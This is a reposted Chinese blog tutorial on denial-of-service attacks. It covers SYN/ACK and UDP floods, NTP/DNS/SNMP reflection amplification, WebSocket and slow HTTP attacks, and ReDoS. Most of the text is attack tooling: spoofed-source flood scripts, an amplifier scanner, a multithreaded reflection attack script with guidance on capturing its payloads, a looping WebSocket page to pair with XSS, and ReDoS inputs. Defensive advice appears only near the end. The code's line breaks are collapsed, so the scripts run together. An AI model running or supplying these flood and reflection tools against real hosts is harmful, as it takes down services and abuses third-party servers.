浅谈各种拒绝服务攻击的原理与防御

来源:互联网 发布:touchslide.js 编辑:程序博客网 时间:2024/05/22 17:22

本文转载自
浅析ReDoS的原理与实践
CC攻击的变异品种慢速攻击
浅谈拒绝服务攻击的原理与防御(1):普通拒绝服务攻击
浅谈拒绝服务攻击的原理与防御(2):反射型DDOS
浅谈拒绝服务攻击的原理与防御(3):反射DDOS攻击利用代码
浅谈拒绝服务攻击的原理与防御(4):新型DDOS攻击 – Websocket和临时透镜
这里要注意,如果没有明确说明代码最好在linux下以sudo python xxx.py命令即使用root权限运行。

普通DDOS

普通拒绝服务攻击是指一些传统的攻击方式,如SYN FLOOD攻击、ACK FLOOD攻击、CC攻击、UDP FLOOD攻击等等。

SYN FLOOD攻击

SYN FLOOD攻击是利用TCP协议的一些特性发动的,通过发送大量伪造的带有SYN标志位的TCP报文使目标服务器连接耗尽,达到拒绝服务的目的。要想理解SYN FLOOD的攻击原理必须要先了解TCP协议建立连接的机制。
这里写图片描述
SYN FLOOD攻击就是在三次握手机制的基础上实现的。攻击者通过伪造IP报文,在IP报文的原地址字段随机填入伪造的IP地址,目的地址填入要攻击的服务器IP地址,TTL、Source Port等随机填入合理数据,TCP的目的端口填入目的服务器开放的端口,如80、8080等,SYN标志位置1。然后不停循环将伪造好的数据包发送到目的服务器,如图所示。
这里写图片描述
可以看到目标主机建立了很多虚假的半开连接,这耗费了目标主机大量的连接资源。可以想象如果成千上万台肉鸡对一台服务器发动SYN FLOOD攻击威力将是非常强大。

ACK FLOOD攻击

ACK FLOOD攻击同样是利用TCP三次握手的缺陷实现的攻击,ACK FLOOD攻击利用的是三次握手的第二段,也就是TCP标志位SYN和ACK都置1,攻击主机伪造海量的虚假ACK包发送给目标主机,目标主机每收到一个带有ACK标志位的数据包时,都会去自己的TCP连接表中查看有没有与ACK的发送者建立连接,如果有则发送三次握手的第三段ACK+SEQ完成三次握手建立TCP连接,如果没有则发送ACK+RST断开连接。但是在这个过程中会消耗一定的CUP计算资源,如果瞬间收到海量的SYN+ACK数据包将会消耗大量的CPU资源使得正常的连接无法建立或者增加延迟,甚至造成服务器瘫痪、死机,如图所示。
这里写图片描述
理论上目标主机的TCP连接越多ACK攻击效果越好,所以如果SYN FLOOD与ACK FLOOD配合使用效果会更明显。实现代码如下(我是用scapy写的,单线程速度并不快,想要更大流量自行增加多线程)。

#-*- coding: UTF-8 -*- import socketimport structfrom scapy.all import *from scapy import allimport randomprint"SYN/ACK FLOOD"mode=input("SYN or ACK (0 or 1):")if mode==0:    flag=2elif mode==1:    flag=18else:    print"BUG"dp=input("目的端口: ")dip=raw_input(str("目的地址:"))sp1=raw_input(str("源端口(随机请输入 R): "))sip1=raw_input(str("源地址(随机请输入 R):"))while 1:    if sip1=="R":        iprandom=random.randint(0,4000000000)        sip=socket.inet_ntoa(struct.pack('I',socket.htonl(iprandom)))        if sp1=="R":            sp=random.randint(1,65535)        else:            sp=sp1    else:        sip=sip1        if sp1=="R":            sp=random.randint(1,65535)        else:            sp=sp1    t=random.randint(64,128)    pack=(IP(src=sip,dst=dip,ttl=t)/TCP(sport=sp,dport=dp,flags=flag))     send(pack)

在windows上有一个问题,xp sp2以上版本的系统由于安全机制,不能原始套接字自己构造伪造IP的数据包。解决办法是用winpcap发数据包,自己构造IP包头、TCP包头和以太网帧头。
这里写图片描述
在VS中,把properties的Linker一栏的UAC Execution Level中改成requireAdministrator使得程序以管理员身份运行。
这里写图片描述
编程的时候注意加上#pragma pack (1)。因为C++结构体中的内存对齐机制,这里如果不设置为1的话后面程序对结构体的解析就会出问题。完整的代码在这里DDOS-sample-by-winpcap。

CC攻击

CC攻击全称Challenge Collapsar,中文意思是挑战黑洞,因为以前的抗DDOS攻击的安全设备叫黑洞,顾名思义挑战黑洞就是说黑洞拿这种攻击没办法,新一代的抗DDOS设备已经改名为ADS(Anti-DDoS System),基本上已经可以完美的抵御CC攻击了。CC攻击的原理是通过代理服务器或者大量肉鸡模拟多个用户访问目标网站的动态页面,制造大量的后台数据库查询动作,消耗目标CPU资源,造成拒绝服务。我们都知道网站的页面有静态和动态之分,动态网页是需要与后台数据库进行交互的,比如一些论坛用户登录的时候需要去数据库查询你的等级、权限等等,当你留言的时候又需要查询权限、同步数据等等,这就消耗很多CPU资源,造成静态网页能打开,但是需要和数据库交互的动态网页打开慢或者无法打开的现象。这种攻击方式相对于前两种实现要相对复杂一些,但是防御起来要简单的多,提供服务的企业只要尽量少用动态网页并且让一些操作提供验证码就能抵御一般的CC攻击,在这我就不再演示CC攻击的效果了。
这里写图片描述

UDP FLOOD攻击

UDP FLOOD攻击顾名思义是利用UDP协议进行攻击的,UDP FLOOD攻击可以是小数据包冲击设备也可以是大数据包阻塞链路占尽带宽。不过两种方式的实现很相似,差别就在UDP的数据部分带有多少数据。相比TCP FLOOD攻击,UDP FLOOD攻击更直接更好理解,有一定规模之后更难防御,因为UDP攻击的特点就是打出很高的流量,一个中小型的网站出口带宽可能不足1G,如果遇到10G左右的UDP FLOOD攻击,单凭企业自身是无论如何也防御不住的,必须需要运营商帮你在上游清洗流量才行,如果遇到100G的流量可能地方的运营商都没有能力清洗了,需要把流量分散到全国清洗。UDP FLOOD攻击就像是一块大石头,看着普普通通的好像跟现代机枪炸弹不是一个等级的武器,但是如果石头足够大,就不一样了。
这里写图片描述
下面的代码也是单线程,速度不太快,后面讲反射DDOS的时候会有多线程的用法。

#-*- coding: UTF-8 -*- import socketfrom scapy.all import *from scapy import allprint "这是一个UDP FLOOD攻击器,源端口源IP随机"dip=raw_input("输入要攻击的地址:")dp=input("输入要攻击的端口:")f=open('./load','r')while 1:    size=random.randint(1,2)    data=f.read(size)    iprandom=random.randint(0,4000000000)    sip=socket.inet_ntoa(struct.pack('I',socket.htonl(iprandom)))    sp=random.randint(1000,65535)    t=random.randint(50,120)    packet=(IP(src=sip,dst=dip,ttl=t)/UDP(sport=sp,dport=dp)/Raw(load=data))    send(packet)

反射DDOS

很多协议的请求包要远小于回复包,以一个字节的数据换十个字节的数据回来这就是一种放大,但是你这单纯的放大攻击的是自己啊,所以说想要攻击别人就要在发送请求包时把源地址写成要攻击的人的地址,这样回复的大字节报文就去你要攻击的人那里了。
这里写图片描述
这里放大主要利用的是NTP的monlist(listpeers也行)、DNS的AXFR(ANY也行)、SNMP的getbulkrequest。monlist是返回最近600个与当前NTP服务器通信过的IP地址;AXFR是区域传送(有地方叫域传送),比如freebuf.com下的所有域名返回给请求者;SNMPV2版本中新加的getbulkrequest用于一次请求大量的信息,减少管理站与被管理设备的交互次数。

#-*- coding: UTF-8 -*- import socketimport structimport threadchange = lambda x:sum([256**j*int(i) for j,i in enumerate(x.split('.')[::-1])])    def NTPscan(IP):    str_monlist=#空的,各位自己填上NTP的payload吧    str_listpeers=#空的,各位自己填上NTP的payload吧    str_dns=(#空的,各位自己填上DNS的payload吧)    str_snmp=('\x30'+'\x3b'+'\x02'+'\x01'+'\x01'+'\x04'+'\x06'+'\x70'+'\x75'+'\x62'+'\x6c'               +'\x69'+'\x63'+'\xa5'+'\x2e'+'\x02'+'\x04'+'\x4e'+'\x73'+'\x68'+'\xe1'+'\x02'               +'\x01'+'\x00'+'\x02'+'\x01'+'\x0a'+'\x30'+'\x20'+'\x30'+'\x0e'+'\x06'+'\x0a'               +'\x2b'+'\x06'+'\x01'+'\x02'+'\x01'+'\x19'+'\x03'+'\x03'+'\x01'+'\x01'+'\x05'               +'\x00'+'\x30'+'\x0e'+'\x06'+'\x0a'+'\x2b'+'\x06'+'\x01'+'\x02'+'\x01'+'\x19'               +'\x03'+'\x03'+'\x01'+'\x02'+'\x05'+'\x00')    port_ntp=123    port_echo=7    port_ch=13    port_dns=53    port_snmp=161    NTP1=(port_ntp,str_monlist)    NTP2=(port_ntp,str_listpeers)    CHANGE=(port_ch,str_ch)    DNS=(port_dns,str_dns)    SNMP=(port_snmp,str_snmp)    port_pool=(NTP1,CHANGE,DNS,SNMP)    for i in range(len(port_pool)):         s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)        s.settimeout(1)        port_str=port_pool[i]        s.sendto(port_str[1],(IP,port_str[0]))        try:            recvbuff=s.recvfrom(1024)            addr=recvbuff[1]            data=recvbuff[0]            port=addr[1]            ip=addr[0]            if port in [7,13,53,123,161]:                if port==123:                    if len(data)>200:                        ip_x=(ip,port,len(data))                        ip_pool.append(ip_x)                elif port==53:                    if len(data)>100:                        ip_x=(ip,port,len(data))                        ip_pool.append(ip_x)                elif port==161:                    if len(data)>200:                        ip_x=(ip,port,len(data))                        ip_pool.append(ip_x)                else:                            #print ip,':',port,' ',len(data),'\n'                    ip_x=(ip,port,len(data))                    ip_pool.append(ip_x)        except:            pass                   s.close()                  def main():    IP=raw_input("输入IP:")    threads=int(input("线程数threads:"))    IP_a=[]    locks=[]    if IP.find(',') != -1: #检查是否有,        IP_a=IP.split(',') #按,分割字符串成一个数组    elif IP.find('-') != -1: #检查是否有-        IP_b=IP.split('-')        IP_start=IP_b[0] #设定起始IP地址        IP_end=IP_b[1]        IP_start_num=change(IP_start)        IP_end_num=change(IP_end)        num=IP_start_num        while num <= IP_end_num:          ip_i=socket.inet_ntoa(struct.pack('I',socket.htonl(num))) #把数字转换成ip          IP_a.append(ip_i)          #print IP_a          num+=1    else:        IP_a.append(IP)    for i in range(threads):          lock = thread.allocate_lock()   #创建锁对象          lock.acquire()                  #获取锁对象 加锁          locks.append(lock)    for i in range(threads):        thread.start_new_thread(scan,(IP_a,i,locks[i],threads))    for i in range(threads):        while locks[i].locked():            pass    def scan(IP_a,i,lock,threads):    while i<len(IP_a):        NTPscan(IP_a[i])        #print addrs[q]        i=i+threads    lock.release()ip_pool=[]if __name__ == '__main__':       main()print "所有线程运行结束success!"print "-----IP--------port---len"#a=open('d:\\address.txt','w')#a.writelines(ip_pool)#a.close()for i in ip_pool:    print iexitt=raw_input("输入任意键exit:")exit()    

这个多线程thread在linux下好像不能用,输入IP的时候可以输入x.x.x.x-x.x.x.x形式,或者以逗号分隔 x.x.x.x,a.a.a.a,s.s.s.s又或者只输入一个IP也行。要是扫描1.1.0.0-1.2.0.0这样的话上1000-2000线程,要是扫描2.0.0.0-3.0.0.0这样的话上10000线程。
这里写图片描述
上面的是扫描示例代码,下面的是攻击示例代码。在执行之前需要先同文件夹中建一个ipaddress.txt文件作为反射攻击的反射资源地址池,多点少点都行,但是记住最后一行不要空着,不然会程序报错。格式如下图。
这里写图片描述

#!/usr/bin/python#-*-coding:utf-8-*-import socketimport structimport randomimport threadingclass myThread (threading.Thread):       def __init__(self,srcip,srcport):        threading.Thread.__init__(self)          self.srcip = srcip        self.srcport =srcport    def run(self):                            re_att(self.srcip,self.srcport)def checksum(data):    s = 0    n = len(data) % 2    for i in range(0, len(data)-n, 2):        s+= ord(data[i]) + (ord(data[i+1]) << 8)    if n:        s+= ord(data[i+1])    while (s >> 16):        s = (s & 0xFFFF) + (s >> 16)    s = ~s & 0xffff    return sdef IP(source,destination,udplen):    version = 4    ihl = 5    tos = 0    tl = 20+udplen    ip_id = random.randint(1,65530)    flags = 0     offset = 0    ttl = 128    protocol =17    check =0    source = socket.inet_aton(source)    destination = socket.inet_aton(destination)    ver_ihl = (version << 4)+ihl    flags_offset = (flags << 13)+offset    ip_header = struct.pack("!BBHHHBBH4s4s",                    ver_ihl,                    tos,                    tl,                    ip_id,                    flags_offset,                    ttl,                    protocol,                    check,                    source,                    destination)    check=checksum(ip_header)    ip_header = struct.pack("!BBHHHBBH4s4s",                    ver_ihl,                    tos,                    tl,                    ip_id,                    flags_offset,                    ttl,                    protocol,                    socket.htons(check),                    source,                    destination)      return ip_headerdef udp(sp,dp,datalen):    srcport=sp    dstport=dp    udplen=8+datalen    udp_checksum=0    udp_header = struct.pack("!HHHH",srcport,dstport,udplen,udp_checksum)    return udp_headerdef re_att(srcip,srcport):    NTP_data=#payload需要你们自己写啊,就是写\x0a 这种十六进制的就可以,不会写的话叫你们个简单方法,去whireshark上抓一个包    DNS_data=#payload需要你们自己写啊    SNMP_data=#payload需要你们自己写啊    n=len(ipaddr)-1    while 1:        i=random.randint(0,n)        ip_port=ipaddr[i]        dstip=ip_port[0]        dstport=int(ip_port[1])        if dstport==123:            data=NTP_data        elif dstport==53:            data=DNS_data        elif dstport==161:            data=SNMP_data        else:            print 'dest port error!'        datalen=len(data)        udp_header=udp(srcport,dstport,datalen)        ip_header=IP(srcip,dstip,len(udp_header)+datalen)        ip_packet=ip_header+udp_header+data        s.sendto(ip_packet,(dstip,dstport))proto_udp=17proto_tcp=6s = socket.socket(socket.AF_INET,socket.SOCK_RAW,17)s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)ipaddr=[]f = open("ipaddress.txt","r")lines=f.readlines()for line in lines:    line=line.strip('\r\n')    l=line.split(',')    ipaddr.append(l)srcip=raw_input('attack IP:')srcport=int(input('attack PORT:'))threads=int(input("线程数threads:"))threads_name=[]need=(srcip,srcport)    for i in range(threads):    threads_name.append('teread'+str(i))for i in range(threads):        threads_name[i]=myThread(srcip,srcport)for i in range(threads):    threads_name[i].start()#这个攻击没有结束,想停就直接关了终端就可以了#这个脚本支持多线程,但是要量力而行,我在虚拟机中10线程就有点卡了

这个工具没带payload,但是我可以教大家一个简单的写payload的方法,就是用whireshark抓包。打开kali,用whireshark抓包,然后开终端用dig。
这里写图片描述
这里写图片描述
这就能抓到一个DNS的请求和回复包了。这里用的是ANY,请求80字节回复486字节,放大了6倍。点开请求包(就是80字节那个,别点开错了),选中DNS部分,然后复制->为hex转储。
这里写图片描述
打开个记事本,把刚才的粘贴进去,这不就是十六进制的payload了么,把前面的0000那些删掉,再把这些字符以'\xdf'+'\xdb'+…的形式连起来就可以了。
这里写图片描述

新型DDOS–Websocket和临时透镜

Websocket

websocket是HTML5一种新的协议,它实现了浏览器与服务器全双工通信(full-duple)。目前主流的浏览器都能很好地支持websocket,而且用它实现DOS攻击也并不是很难,只要在js代码中写入相应的代码,当人们打开这个网页时浏览器会自动执行js代码去请求连接要攻击的IP地址。

CODE:// 创建一个Socket实例var socket = new WebSocket('ws://localhost:80'); // 打开Socket socket.onopen = function(event) {   // 发送一个初始化消息  socket.send('I am freebuf !');   // 监听消息  socket.onmessage = function(event) {     console.log('Client received a message',event);   };   // 监听Socket的关闭  socket.onclose = function(event) {     console.log('Client notified socket has closed',event);   };   // 关闭Socket....   //socket.close() };//转载自网络 

用它来做DOS完全用不到它的全部功能,只用一个创建实例就行了,比如下面这段代码。

<!DOCTYPE HTML><html>   <head>   <meta charset="utf-8">   <title>websocket test</title><script type="text/javascript">while (2>1){var ws = new WebSocket("ws://192.168.1.1:80");} </script></html> 

意思就是让浏览器不停循环请求192.168.1.1:80,浏览器也很听话,一直不停请求。
这里写图片描述
还可以配合xss一起使用,比如这样。
这里写图片描述
当然我这种利用方法只是演示,并不适合直接应用于真正的攻击当中,因为这样不停循环浏览器吃内存很严重,几分钟内存就会全被占满了,真正要利用的话还需要各位大神们想一个隐蔽性强的方法。

临时透镜

我第一次听说这种攻击方式是在绿盟的一篇DDOS威胁报告中看到的,论文中展示了一种通过时间延时进行流量放大攻击的方法。
这里写图片描述
这种攻击是一种典型的延时攻击形式,如果攻击者可以控制多个时间段的多个数据包,让它们同时到达目标,这样就能使流量瞬间到达一个峰值,对目标造成很大危害。这个攻击方式道理不难理解,但是实现起来可是不容易,要让相同源和目的IP的IP报文走不同的路径到达目的地,这一点就是要实现临时透镜攻击的关键所在,我国的互联网基本上是由四张网(电信、联通、移动、教育网)通过互联互通组成的,任意两点之间的路径都能有千千万万条,但是怎么才能有我们自己控制报文的路线呢?我想到的第一个办法就是用IP协议的宽松源路由选项,学过或者平时比较了解TCP/IP的童鞋们可能听说过这个宽松源路由,但我估计很少有人用。IP数据在传输时通常由路由器自动为其选择路由,但是网络工程师为了使数据绕开出错网络或者为了测试特定线路的吞吐率,需要在信源出控制IP数据报的传输路径,源路由就是为了满足这个要求设计的。源路由有两种,一种叫严格源路由另一种就是我们要说的宽松源路由。IP选项部分可以最多带上9个IP地址作为这个数据报要走的路径,严格源路由是每一跳都必须按照指定的路由器去走,但是宽松源路由的不用这么严格。我国大部分运营商都禁止了源路由,不过有人说在国外不禁止源路由,国外有服务器的朋友可以去测试一下是不是真的。

慢速DDOS

一说起慢速攻击,就要谈谈它的成名历史了。HTTP Post慢速DoS攻击第一次在技术社区被正式披露是2012年的OWASP大会上,由Wong Onn Chee和Tom Brennan共同演示了使用这一技术攻击的威力。对任何一个开放了HTTP访问的服务器HTTP服务器,先建立了一个连接,指定一个比较大的content-length,然后以非常低的速度发包,比如1-10s发一个字节,然后维持住这个连接不断开。如果客户端持续建立这样的连接,那么服务器上可用的连接将一点一点被占满,从而导致拒绝服务。和CC攻击一样,只要Web服务器开放了Web服务,那么它就可以是一个靶子,HTTP协议在接收到request之前是不对请求内容作校验的,所以即使你的Web应用没有可用的form表单,这个攻击一样有效。在客户端以单线程方式建立较大数量的无用连接,并保持持续发包的代价非常的低廉。实际试验中一台普通PC可以建立的连接在3000个以上。这对一台普通的Web server将是致命的打击。更不用说结合肉鸡群做分布式DoS了。鉴于此攻击简单的利用程度、拒绝服务的后果、带有逃逸特性的攻击方式,这类攻击一炮而红,成为众多攻击者的研究和利用对象。发展到今天,慢速攻击也多种多样。

Slow headers

Web应用在处理HTTP请求之前都要先接收完所有的HTTP头部,因为HTTP头部中包含了一些Web应用可能用到的重要的信息。攻击者利用这点,发起一个HTTP请求,一直不停发送HTTP头部,消耗服务器的连接和内存资源。抓包数据可见,攻击客户端与服务器建立TCP连接后,每30秒才向服务器发送一个HTTP头部,而Web服务器在没接收到2个连续的\r\n时,会认为客户端没有发送完头部,而持续等待客户端发送数据。
这里写图片描述
这里写图片描述

Slow body

攻击者发送一个HTTP POST请求,该请求的Content-Length头部值很大,使得Web服务器或代理认为客户端要发送很大的数据。服务器会保持连接准备接收数据,但攻击客户端每次只发送很少量的数据,使该连接一直保持存活,消耗服务器的连接和内存资源。抓包数据可见,攻击客户端与服务器建立TCP连接后,发送了完整的HTTP头部,POST方法带有较大的Content-Length,然后每10s发送一次随机的参数。服务器因为没有接收到相应Content-Length的body,而持续等待客户端发送数据。
这里写图片描述
这里写图片描述

Slow read

客户端与服务器建立连接并发送了一个HTTP请求,客户端发送完整的请求给服务器端,然后一直保持这个连接,以很低的速度读取Response,比如很长一段时间客户端不读取任何数据,通过发送Zero Window到服务器,让服务器误以为客户端很忙,直到连接快超时前才读取一个字节,以消耗服务器的连接和内存资源。抓包数据可见,客户端把数据发给服务器后,服务器发送响应时,收到了客户端的ZeroWindow提示(表示自己没有缓冲区用于接收数据),服务器不得不持续向客户端发出ZeroWindowProbe包,询问客户端是否可以接收数据。
这里写图片描述
这里写图片描述
慢速攻击主要利用的是thread-based架构的服务器的特性,这种服务器会为每个新连接打开一个线程,它会等待接收完整个HTTP头部才会释放连接。比如Apache会有一个超时时间来等待这种不完全连接(默认是300s),但是一旦接收到客户端发来的数据,这个超时时间会被重置。正是因为这样,攻击者可以很容易保持住一个连接,因为攻击者只需要在即将超时之前发送一个字符,便可以延长超时时间。而客户端只需要很少的资源,便可以打开多个连接,进而占用服务器很多的资源。经验证,Apache、httpd采用thread-based架构,很容易遭受慢速攻击。而另外一种event-based架构的服务器,比如nginx和lighttpd则不容易遭受慢速攻击。
Apache服务器现在可以使用mod_reqtimeout、mod_security、mod_qos等模块防护。传统的流量清洗设备针对CC攻击主要通过阈值的方式来进行防护,某一个客户在一定的周期内请求访问量过大超过了阈值,清洗设备返回验证码或者JS代码。这种防护方式的依据是攻击者们使用肉鸡上的DDoS工具模拟大量http request,这种工具一般不会解析服务端返回的数据,更不会解析JS之类的代码。而对于慢速攻击来说,通过返回验证码或者JS代码的方式依然能达到部分效果。但是根据慢速攻击的特征,可以辅助以下几种防护方式:1、周期内统计报文数量。一个TCP连接,HTTP请求的报文中,报文过多或者报文过少都是有问题的,如果一个周期内报文数量非常少,那么它就可能是慢速攻击;如果一个周期内报文数量非常多,那么它就可能是一个CC攻击。2、限制HTTP请求头的最大许可时间。超过最大许可时间,如果数据还没有传输完成,那么它就有可能是一个慢速攻击。

ReDoS

ReDoS(Regular expression Denial of Service)正则表达式拒绝服务攻击。开发人员使用了正则表达式来对用户输入的数据进行有效性校验,当编写校验的正则表达式存在缺陷或者不严谨时, 攻击者可以构造特殊的字符串来大量消耗服务器的系统资源,造成服务器的服务中断或停止。
正则表达式引擎分成两类,一类称为DFA(确定性有限状态自动机),另一类称为NFA(非确定性有限状态自动机)。两类引擎要顺利工作,都必须有一个正则式和一个文本串,一个捏在手里,一个吃下去。DFA捏着文本串去比较正则式,看到一个子正则式,就把可能的匹配串全标注出来,然后再看正则式的下一个部分,根据新的匹配结果更新标注。而NFA是捏着正则式去比文本,吃掉一个字符,就把它跟正则式比较,然后接着往下干。一旦不匹配,就把刚吃的这个字符吐出来,一个一个吐,直到回到上一次匹配的地方。
这里写图片描述
DFA对于文本串里的每一个字符只需扫描一次,比较快,但特性较少。NFA要翻来覆去吃字符、吐字符,速度慢,但是特性(如:分组、替换、分割)丰富。NFA支持惰性(lazy)、回溯(backtracking)、反向引用(backreference),但是可能会陷入递归险境导致性能极差。我们定义一个正则表达式^(a+)+$来对字符串aaaaX匹配。
这里写图片描述
使用NFA的正则引擎,必须经历2^4=16次尝试失败后才能否定这个匹配,如果我们继续增加a的个数为20个、30个或者更多,那么这里的匹配会变成指数增长。下面我们以Python语言为例子来进行代码的演示。

import re  import time  def exp(target_str):      """     """      s1 = time.time()      flaw_regex = re.compile('^(a+)+$')      flaw_regex.match(target_str)      s2 = time.time()      print("Consuming time: %.4f" % (s2-s1))  if __name__ == '__main__':      str_list = (          'aaaaaaaaaaaaaaaaX',           # 2^16          'aaaaaaaaaaaaaaaaaaX',         # 2^18          'aaaaaaaaaaaaaaaaaaaaX',       # 2^20          'aaaaaaaaaaaaaaaaaaaaaaX',     # 2^22          'aaaaaaaaaaaaaaaaaaaaaaaaX',   # 2^24          'aaaaaaaaaaaaaaaaaaaaaaaaaaX', # 2^26          'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX', # 2^36      )      for evil_str in str_list:          print('Current: %s' % evil_str)          exp(evil_str)          print('--'*40)      

把上面的代码保存成redos.py文件并执行这个py脚本文件。
这里写图片描述
输出到最后一行貌似程序卡住了,我们来看下电脑的CPU。
这里写图片描述
每个恶意的正则表达式模式应该包含:使用重复分组构造、在重复组内会出现、重复、交替重叠。
有缺陷的正则表达式会包含如下部分。

(a+)+([a-zA-Z]+)*(a|aa)+(a|a?)+(.*a){x} | for x > 10

注意: 这里的a是个泛指。
下面我们来展示一些实际业务场景中会用到的缺陷正则。
英文的个人名字

Regex: ^[a-zA-Z]+(([\'\,\.\-][a-zA-Z ])?[a-zA-Z]*)*$Payload: aaaaaaaaaaaaaaaaaaaaaaaaaaaa!

Java类名

Regex: ^(([a-z])+.)+[A-Z]([a-z])+$Payload: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

Email格式验证

Regex: ^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@(([0-9a-zA-Z])+([-\w]*[0-9a-zA-Z])*\.)+[a-zA-Z]{2,9})$Payload: a@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

多个邮箱地址验证

Regex: ^[a-zA-Z]+(([\'\,\.\-][a-zA-Z ])?[a-zA-Z]*)*\s+&lt;(\w[-._\w]*\w@\w[-._\w]*\w\.\w{2,3})&gt;$|^(\w[-._\w]*\w@\w[-._\w]*\w\.\w{2,3})$Payload: aaaaaaaaaaaaaaaaaaaaaaaa!

复数验证

Regex: ^\d*[0-9](|.\d*[0-9]|)*$Payload: 1111111111111111111111111!

模式匹配

Regex: ^([a-z0-9]+([\-a-z0-9]*[a-z0-9]+)?\.){0,}([a-z0-9]+([\-a-z0-9]*[a-z0-9]+)?){1,63}(\.[a-z0-9]{2,7})+$Payload: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

使用python来进行测试有缺陷的正则示例

$ python -c "import re;re.match('^[a-zA-Z]+(([\'\,\.\-][a-zA-Z ])?[a-zA-Z]*)*$', 'aaaaaaaaaaaaaaaaaaaaaaaaaaaa!')"

Regex几乎在我们的网络程序与设备资源的任何位置都会用到。如WAF、Web前端、Web后端、DB数据库等。
这里写图片描述
防范手段只是为了降低风险而不能百分百消除ReDoS这种威胁。降低正则表达式的复杂度, 尽量少用分组;严格限制用户输入的字符串长度(特定情况下);使用单元测试、fuzzing测试保证安全;使用静态代码分析工具如sonar等;添加服务器性能监控系统如zabbix等等。

0 0
原创粉丝点击